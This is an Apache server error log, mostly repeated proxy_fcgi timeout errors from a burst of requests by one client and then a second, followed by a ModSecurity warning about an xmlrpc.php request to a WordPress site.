[Sun Jan 04 20:44:15.088646 2026] [proxy_fcgi:error] [pid 21720:tid 21731] (70007)The timeout specified has expired: [client 13.232.125.237:58236] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.041667 2026] [proxy_fcgi:error] [pid 23904:tid 23938] (70007)The timeout specified has expired: [client 13.232.125.237:58646] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.042593 2026] [proxy_fcgi:error] [pid 23904:tid 23936] (70007)The timeout specified has expired: [client 13.232.125.237:58728] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.070606 2026] [proxy_fcgi:error] [pid 23903:tid 23920] (70007)The timeout specified has expired: [client 13.232.125.237:58518] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.071634 2026] [proxy_fcgi:error] [pid 23903:tid 23932] (70007)The timeout specified has expired: [client 13.232.125.237:58558] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.071811 2026] [proxy_fcgi:error] [pid 23903:tid 23924] (70007)The timeout specified has expired: [client 13.232.125.237:58478] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.071892 2026] [proxy_fcgi:error] [pid 23903:tid 23925] (70007)The timeout specified has expired: [client 13.232.125.237:58400] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.085645 2026] [proxy_fcgi:error] [pid 23903:tid 23929] (70007)The timeout specified has expired: [client 13.232.125.237:58492] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.086256 2026] [proxy_fcgi:error] [pid 23904:tid 23945] (70007)The timeout specified has expired: [client 13.232.125.237:58678] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.086648 2026] [proxy_fcgi:error] [pid 23904:tid 23944] (70007)The timeout specified has expired: [client 13.232.125.237:58736] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.086652 2026] [proxy_fcgi:error] [pid 23904:tid 23956] (70007)The timeout specified has expired: [client 13.232.125.237:58816] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.086698 2026] [proxy_fcgi:error] [pid 23904:tid 23947] (70007)The timeout specified has expired: [client 13.232.125.237:58712] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.086709 2026] [proxy_fcgi:error] [pid 23904:tid 23946] (70007)The timeout specified has expired: [client 13.232.125.237:58664] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.103636 2026] [proxy_fcgi:error] [pid 23903:tid 23911] (70007)The timeout specified has expired: [client 13.232.125.237:58452] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.103630 2026] [proxy_fcgi:error] [pid 23903:tid 23915] (70007)The timeout specified has expired: [client 13.232.125.237:58368] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.103779 2026] [proxy_fcgi:error] [pid 23903:tid 23913] (70007)The timeout specified has expired: [client 13.232.125.237:59098] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.104017 2026] [proxy_fcgi:error] [pid 23903:tid 23926] (70007)The timeout specified has expired: [client 13.232.125.237:58504] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.104630 2026] [proxy_fcgi:error] [pid 23904:tid 23952] (70007)The timeout specified has expired: [client 13.232.125.237:58904] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.104803 2026] [proxy_fcgi:error] [pid 23904:tid 23954] (70007)The timeout specified has expired: [client 13.232.125.237:58948] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.104848 2026] [proxy_fcgi:error] [pid 23904:tid 23960] (70007)The timeout specified has expired: [client 13.232.125.237:58970] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.105013 2026] [proxy_fcgi:error] [pid 23904:tid 23953] (70007)The timeout specified has expired: [client 13.232.125.237:58996] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.105081 2026] [proxy_fcgi:error] [pid 23904:tid 23958] (70007)The timeout specified has expired: [client 13.232.125.237:58884] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.105099 2026] [proxy_fcgi:error] [pid 23904:tid 23937] (70007)The timeout specified has expired: [client 13.232.125.237:58610] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.105843 2026] [proxy_fcgi:error] [pid 23903:tid 23917] (70007)The timeout specified has expired: [client 13.232.125.237:58458] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.106382 2026] [proxy_fcgi:error] [pid 23903:tid 23919] (70007)The timeout specified has expired: [client 13.232.125.237:58532] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.106402 2026] [proxy_fcgi:error] [pid 23903:tid 23909] (70007)The timeout specified has expired: [client 13.232.125.237:58288] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.106363 2026] [proxy_fcgi:error] [pid 23903:tid 23927] (70007)The timeout specified has expired: [client 13.232.125.237:58628] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.106410 2026] [proxy_fcgi:error] [pid 23903:tid 23912] (70007)The timeout specified has expired: [client 13.232.125.237:58350] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.106433 2026] [proxy_fcgi:error] [pid 23903:tid 23928] (70007)The timeout specified has expired: [client 13.232.125.237:58624] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.106391 2026] [proxy_fcgi:error] [pid 23903:tid 23931] (70007)The timeout specified has expired: [client 13.232.125.237:58648] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.106464 2026] [proxy_fcgi:error] [pid 23903:tid 23923] (70007)The timeout specified has expired: [client 13.232.125.237:58414] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.106410 2026] [proxy_fcgi:error] [pid 23903:tid 23922] (70007)The timeout specified has expired: [client 13.232.125.237:58386] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.106373 2026] [proxy_fcgi:error] [pid 23903:tid 23930] (70007)The timeout specified has expired: [client 13.232.125.237:58538] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.114641 2026] [proxy_fcgi:error] [pid 23903:tid 23921] (70007)The timeout specified has expired: [client 13.232.125.237:58234] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.123624 2026] [proxy_fcgi:error] [pid 23904:tid 23942] (70007)The timeout specified has expired: [client 13.232.125.237:58638] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.123671 2026] [proxy_fcgi:error] [pid 23904:tid 23939] (70007)The timeout specified has expired: [client 13.232.125.237:58588] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.124713 2026] [proxy_fcgi:error] [pid 23903:tid 23933] (70007)The timeout specified has expired: [client 13.232.125.237:58670] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.128616 2026] [proxy_fcgi:error] [pid 23903:tid 23916] (70007)The timeout specified has expired: [client 13.232.125.237:58464] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.128717 2026] [proxy_fcgi:error] [pid 23904:tid 23943] (70007)The timeout specified has expired: [client 13.232.125.237:58732] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.128717 2026] [proxy_fcgi:error] [pid 23903:tid 23918] (70007)The timeout specified has expired: [client 13.232.125.237:58364] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.134627 2026] [proxy_fcgi:error] [pid 23904:tid 23940] (70007)The timeout specified has expired: [client 13.232.125.237:58574] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.136614 2026] [proxy_fcgi:error] [pid 23904:tid 23948] (70007)The timeout specified has expired: [client 13.232.125.237:58780] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.137665 2026] [proxy_fcgi:error] [pid 23903:tid 23914] (70007)The timeout specified has expired: [client 13.232.125.237:58470] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.139626 2026] [proxy_fcgi:error] [pid 23904:tid 23955] (70007)The timeout specified has expired: [client 13.232.125.237:58836] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.139685 2026] [proxy_fcgi:error] [pid 23903:tid 23910] (70007)The timeout specified has expired: [client 13.232.125.237:58920] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.143618 2026] [proxy_fcgi:error] [pid 23904:tid 23949] (70007)The timeout specified has expired: [client 13.232.125.237:58814] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.143692 2026] [proxy_fcgi:error] [pid 23904:tid 23951] (70007)The timeout specified has expired: [client 13.232.125.237:58802] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.148621 2026] [proxy_fcgi:error] [pid 23904:tid 23941] (70007)The timeout specified has expired: [client 13.232.125.237:58690] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.148621 2026] [proxy_fcgi:error] [pid 23904:tid 23957] (70007)The timeout specified has expired: [client 13.232.125.237:58896] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.151627 2026] [proxy_fcgi:error] [pid 23904:tid 23950] (70007)The timeout specified has expired: [client 13.232.125.237:58750] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.151627 2026] [proxy_fcgi:error] [pid 23904:tid 23959] (70007)The timeout specified has expired: [client 13.232.125.237:58844] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.726154 2026] [proxy_fcgi:error] [pid 21812:tid 21844] (70007)The timeout specified has expired: [client 13.232.125.237:58878] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:16.938440 2026] [proxy_fcgi:error] [pid 1297:tid 1307] (70007)The timeout specified has expired: [client 13.232.125.237:58984] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.280707 2026] [proxy_fcgi:error] [pid 23969:tid 24027] (70007)The timeout specified has expired: [client 13.232.125.237:59732] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.312684 2026] [proxy_fcgi:error] [pid 23969:tid 24031] (70007)The timeout specified has expired: [client 13.232.125.237:59842] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.318637 2026] [proxy_fcgi:error] [pid 23969:tid 24032] (70007)The timeout specified has expired: [client 13.232.125.237:60002] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.320607 2026] [proxy_fcgi:error] [pid 23969:tid 24025] (70007)The timeout specified has expired: [client 13.232.125.237:59774] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.321223 2026] [proxy_fcgi:error] [pid 23969:tid 24030] (70007)The timeout specified has expired: [client 13.232.125.237:59904] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.332819 2026] [proxy_fcgi:error] [pid 23969:tid 24028] (70007)The timeout specified has expired: [client 13.232.125.237:59758] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.337683 2026] [proxy_fcgi:error] [pid 23967:tid 23973] (70007)The timeout specified has expired: [client 13.232.125.237:58938] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.338027 2026] [proxy_fcgi:error] [pid 23967:tid 23982] (70007)The timeout specified has expired: [client 13.232.125.237:59164] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.345705 2026] [proxy_fcgi:error] [pid 23967:tid 23987] (70007)The timeout specified has expired: [client 13.232.125.237:59264] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.351889 2026] [proxy_fcgi:error] [pid 1297:tid 1304] (70007)The timeout specified has expired: [client 13.232.125.237:60170] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.358745 2026] [proxy_fcgi:error] [pid 23967:tid 23972] (70007)The timeout specified has expired: [client 13.232.125.237:59042] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.359152 2026] [proxy_fcgi:error] [pid 23969:tid 24045] (70007)The timeout specified has expired: [client 13.232.125.237:60072] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.377721 2026] [proxy_fcgi:error] [pid 23967:tid 23974] (70007)The timeout specified has expired: [client 13.232.125.237:59128] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.377675 2026] [proxy_fcgi:error] [pid 23968:tid 24006] (70007)The timeout specified has expired: [client 13.232.125.237:59616] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.377721 2026] [proxy_fcgi:error] [pid 23968:tid 24005] (70007)The timeout specified has expired: [client 13.232.125.237:59630] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.377681 2026] [proxy_fcgi:error] [pid 23968:tid 24010] (70007)The timeout specified has expired: [client 13.232.125.237:59646] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.378639 2026] [proxy_fcgi:error] [pid 23967:tid 23980] (70007)The timeout specified has expired: [client 13.232.125.237:59248] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.378722 2026] [proxy_fcgi:error] [pid 23967:tid 23986] (70007)The timeout specified has expired: [client 13.232.125.237:59338] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.378722 2026] [proxy_fcgi:error] [pid 23967:tid 23977] (70007)The timeout specified has expired: [client 13.232.125.237:59152] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.378856 2026] [proxy_fcgi:error] [pid 23968:tid 24002] (70007)The timeout specified has expired: [client 13.232.125.237:59456] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.379062 2026] [proxy_fcgi:error] [pid 23969:tid 24038] (70007)The timeout specified has expired: [client 13.232.125.237:60030] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.379591 2026] [proxy_fcgi:error] [pid 23969:tid 24042] (70007)The timeout specified has expired: [client 13.232.125.237:60148] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.380063 2026] [proxy_fcgi:error] [pid 23969:tid 24049] (70007)The timeout specified has expired: [client 13.232.125.237:60094] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.380660 2026] [proxy_fcgi:error] [pid 23967:tid 23985] (70007)The timeout specified has expired: [client 13.232.125.237:59204] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.380852 2026] [proxy_fcgi:error] [pid 23968:tid 24017] (70007)The timeout specified has expired: [client 13.232.125.237:59882] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.380660 2026] [proxy_fcgi:error] [pid 23967:tid 23993] (70007)The timeout specified has expired: [client 13.232.125.237:59384] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.380661 2026] [proxy_fcgi:error] [pid 23967:tid 23984] (70007)The timeout specified has expired: [client 13.232.125.237:59118] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.380689 2026] [proxy_fcgi:error] [pid 23967:tid 23981] (70007)The timeout specified has expired: [client 13.232.125.237:59224] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.380661 2026] [proxy_fcgi:error] [pid 23968:tid 24009] (70007)The timeout specified has expired: [client 13.232.125.237:59590] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.380598 2026] [proxy_fcgi:error] [pid 23967:tid 23978] (70007)The timeout specified has expired: [client 13.232.125.237:59182] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.378856 2026] [proxy_fcgi:error] [pid 23967:tid 23976] (70007)The timeout specified has expired: [client 13.232.125.237:58954] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.380805 2026] [proxy_fcgi:error] [pid 23967:tid 23995] (70007)The timeout specified has expired: [client 13.232.125.237:59362] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.380934 2026] [proxy_fcgi:error] [pid 23967:tid 23990] (70007)The timeout specified has expired: [client 13.232.125.237:59178] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.381633 2026] [proxy_fcgi:error] [pid 23967:tid 23971] (70007)The timeout specified has expired: [client 13.232.125.237:59414] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.381155 2026] [proxy_fcgi:error] [pid 23967:tid 23975] (70007)The timeout specified has expired: [client 13.232.125.237:59190] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.381171 2026] [proxy_fcgi:error] [pid 23967:tid 23991] (70007)The timeout specified has expired: [client 13.232.125.237:59136] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.381886 2026] [proxy_fcgi:error] [pid 23968:tid 23999] (70007)The timeout specified has expired: [client 13.232.125.237:59418] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.381871 2026] [proxy_fcgi:error] [pid 23968:tid 24004] (70007)The timeout specified has expired: [client 13.232.125.237:59500] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.381861 2026] [proxy_fcgi:error] [pid 23967:tid 23988] (70007)The timeout specified has expired: [client 13.232.125.237:59352] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.381917 2026] [proxy_fcgi:error] [pid 23968:tid 24013] (70007)The timeout specified has expired: [client 13.232.125.237:59546] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.381835 2026] [proxy_fcgi:error] [pid 23967:tid 23989] (70007)The timeout specified has expired: [client 13.232.125.237:59284] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.381233 2026] [proxy_fcgi:error] [pid 23968:tid 24020] (70007)The timeout specified has expired: [client 13.232.125.237:59978] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.381871 2026] [proxy_fcgi:error] [pid 23967:tid 23983] (70007)The timeout specified has expired: [client 13.232.125.237:59026] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.381851 2026] [proxy_fcgi:error] [pid 23968:tid 24001] (70007)The timeout specified has expired: [client 13.232.125.237:59424] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.382180 2026] [proxy_fcgi:error] [pid 23968:tid 24014] (70007)The timeout specified has expired: [client 13.232.125.237:59474] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.383230 2026] [proxy_fcgi:error] [pid 23967:tid 23992] (70007)The timeout specified has expired: [client 13.232.125.237:59324] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.383223 2026] [proxy_fcgi:error] [pid 23967:tid 23994] (70007)The timeout specified has expired: [client 13.232.125.237:59348] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.383248 2026] [proxy_fcgi:error] [pid 23967:tid 23979] (70007)The timeout specified has expired: [client 13.232.125.237:59280] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.408671 2026] [proxy_fcgi:error] [pid 23969:tid 24026] (70007)The timeout specified has expired: [client 13.232.125.237:59818] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.409424 2026] [proxy_fcgi:error] [pid 23969:tid 24033] (70007)The timeout specified has expired: [client 13.232.125.237:59878] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.409642 2026] [proxy_fcgi:error] [pid 23968:tid 23998] (70007)The timeout specified has expired: [client 13.232.125.237:59446] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.409740 2026] [proxy_fcgi:error] [pid 23969:tid 24043] (70007)The timeout specified has expired: [client 13.232.125.237:60132] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.409949 2026] [proxy_fcgi:error] [pid 23969:tid 24029] (70007)The timeout specified has expired: [client 13.232.125.237:59710] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.410485 2026] [proxy_fcgi:error] [pid 23969:tid 24034] (70007)The timeout specified has expired: [client 13.232.125.237:59962] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.410495 2026] [proxy_fcgi:error] [pid 23969:tid 24040] (70007)The timeout specified has expired: [client 13.232.125.237:59922] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.410629 2026] [proxy_fcgi:error] [pid 23969:tid 24035] (70007)The timeout specified has expired: [client 13.232.125.237:59864] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.411073 2026] [proxy_fcgi:error] [pid 23968:tid 24016] (70007)The timeout specified has expired: [client 13.232.125.237:59672] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.419616 2026] [proxy_fcgi:error] [pid 23968:tid 24000] (70007)The timeout specified has expired: [client 13.232.125.237:59298] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.419683 2026] [proxy_fcgi:error] [pid 23969:tid 24037] (70007)The timeout specified has expired: [client 13.232.125.237:59990] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.420032 2026] [proxy_fcgi:error] [pid 23968:tid 24008] (70007)The timeout specified has expired: [client 13.232.125.237:59558] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.420172 2026] [proxy_fcgi:error] [pid 23969:tid 24044] (70007)The timeout specified has expired: [client 13.232.125.237:60188] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.420424 2026] [proxy_fcgi:error] [pid 23969:tid 24041] (70007)The timeout specified has expired: [client 13.232.125.237:60038] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.420734 2026] [proxy_fcgi:error] [pid 23969:tid 24036] (70007)The timeout specified has expired: [client 13.232.125.237:59910] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.421416 2026] [proxy_fcgi:error] [pid 23968:tid 24011] (70007)The timeout specified has expired: [client 13.232.125.237:59636] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.424629 2026] [proxy_fcgi:error] [pid 23968:tid 24021] (70007)The timeout specified has expired: [client 13.232.125.237:59952] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.424638 2026] [proxy_fcgi:error] [pid 23968:tid 24007] (70007)The timeout specified has expired: [client 13.232.125.237:60136] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.426637 2026] [proxy_fcgi:error] [pid 23969:tid 24039] (70007)The timeout specified has expired: [client 13.232.125.237:59754] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.427117 2026] [proxy_fcgi:error] [pid 23968:tid 24019] (70007)The timeout specified has expired: [client 13.232.125.237:59686] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.427146 2026] [proxy_fcgi:error] [pid 23968:tid 24012] (70007)The timeout specified has expired: [client 13.232.125.237:59370] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.427134 2026] [proxy_fcgi:error] [pid 23968:tid 24018] (70007)The timeout specified has expired: [client 13.232.125.237:59654] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.427117 2026] [proxy_fcgi:error] [pid 23968:tid 24022] (70007)The timeout specified has expired: [client 13.232.125.237:60120] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.427163 2026] [proxy_fcgi:error] [pid 23968:tid 24015] (70007)The timeout specified has expired: [client 13.232.125.237:59792] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.428262 2026] [proxy_fcgi:error] [pid 23968:tid 24003] (70007)The timeout specified has expired: [client 13.232.125.237:59440] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.432623 2026] [proxy_fcgi:error] [pid 23969:tid 24047] (70007)The timeout specified has expired: [client 13.232.125.237:60174] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.433114 2026] [proxy_fcgi:error] [pid 23969:tid 24046] (70007)The timeout specified has expired: [client 13.232.125.237:60134] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.433732 2026] [proxy_fcgi:error] [pid 23969:tid 24048] (70007)The timeout specified has expired: [client 13.232.125.237:60244] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.500635 2026] [proxy_fcgi:error] [pid 21812:tid 21853] (70007)The timeout specified has expired: [client 13.232.125.237:60214] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:17.508670 2026] [proxy_fcgi:error] [pid 21812:tid 21863] (70007)The timeout specified has expired: [client 13.232.125.237:60114] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:18.077685 2026] [proxy_fcgi:error] [pid 13665:tid 13717] (70007)The timeout specified has expired: [client 13.232.125.237:60238] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:18.111684 2026] [proxy_fcgi:error] [pid 5010:tid 5053] (70007)The timeout specified has expired: [client 13.232.125.237:60256] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:18.121203 2026] [proxy_fcgi:error] [pid 13665:tid 13723] (70007)The timeout specified has expired: [client 13.232.125.237:60322] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:44:18.121607 2026] [proxy_fcgi:error] [pid 5010:tid 5041] (70007)The timeout specified has expired: [client 13.232.125.237:60270] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:45:16.319010 2026] [proxy_fcgi:error] [pid 23868:tid 23892] (70007)The timeout specified has expired: [client 103.4.122.14:38470] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:45:16.386558 2026] [proxy_fcgi:error] [pid 21754:tid 21793] (70007)The timeout specified has expired: [client 103.4.122.14:38472] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:45:16.456656 2026] [proxy_fcgi:error] [pid 23868:tid 23886] (70007)The timeout specified has expired: [client 103.4.122.14:38474] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:45:16.677628 2026] [proxy_fcgi:error] [pid 23904:tid 23936] (70007)The timeout specified has expired: [client 103.4.122.14:38476] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:45:26.859235 2026] [proxy_fcgi:error] [pid 23903:tid 23911] (70007)The timeout specified has expired: [client 103.4.122.14:38488] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:45:26.971632 2026] [proxy_fcgi:error] [pid 17268:tid 17281] (70007)The timeout specified has expired: [client 103.4.122.14:38492] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:45:27.057787 2026] [proxy_fcgi:error] [pid 23968:tid 24021] (70007)The timeout specified has expired: [client 103.4.122.14:38494] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:45:27.492369 2026] [proxy_fcgi:error] [pid 17268:tid 17275] (70007)The timeout specified has expired: [client 103.4.122.14:38496] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:45:29.548891 2026] [proxy_fcgi:error] [pid 23904:tid 23939] (70007)The timeout specified has expired: [client 103.4.122.14:38500] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:45:29.701737 2026] [proxy_fcgi:error] [pid 21720:tid 21729] (70007)The timeout specified has expired: [client 103.4.122.14:38502] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:45:29.787353 2026] [proxy_fcgi:error] [pid 1297:tid 1323] (70007)The timeout specified has expired: [client 103.4.122.14:38504] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:45:30.220207 2026] [proxy_fcgi:error] [pid 11931:tid 11947] (70007)The timeout specified has expired: [client 103.4.122.14:38506] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:45:32.225700 2026] [proxy_fcgi:error] [pid 21812:tid 21858] (70007)The timeout specified has expired: [client 103.4.122.14:38508] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:45:32.436651 2026] [proxy_fcgi:error] [pid 23903:tid 23909] (70007)The timeout specified has expired: [client 103.4.122.14:38510] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:45:32.443620 2026] [proxy_fcgi:error] [pid 21720:tid 21740] (70007)The timeout specified has expired: [client 103.4.122.14:38512] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:46:16.958227 2026] [proxy_fcgi:error] [pid 17268:tid 17286] (70007)The timeout specified has expired: [client 103.4.122.14:38572] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:46:17.482722 2026] [proxy_fcgi:error] [pid 23868:tid 23879] (70007)The timeout specified has expired: [client 103.4.122.14:38576] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:46:17.880976 2026] [proxy_fcgi:error] [pid 23968:tid 24005] (70007)The timeout specified has expired: [client 103.4.122.14:38578] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 20:46:18.211492 2026] [proxy_fcgi:error] [pid 23968:tid 24004] (70007)The timeout specified has expired: [client 103.4.122.14:38580] AH01075: Error dispatching request to : (polling)
[Sun Jan 04 21:35:54.725834 2026] [:error] [pid 37227:tid 37299] [client 136.118.134.33:50459] [client 136.118.134.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.118.134.33, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aVpsupAQAfXb5IgCkZOUMwAAA84"]
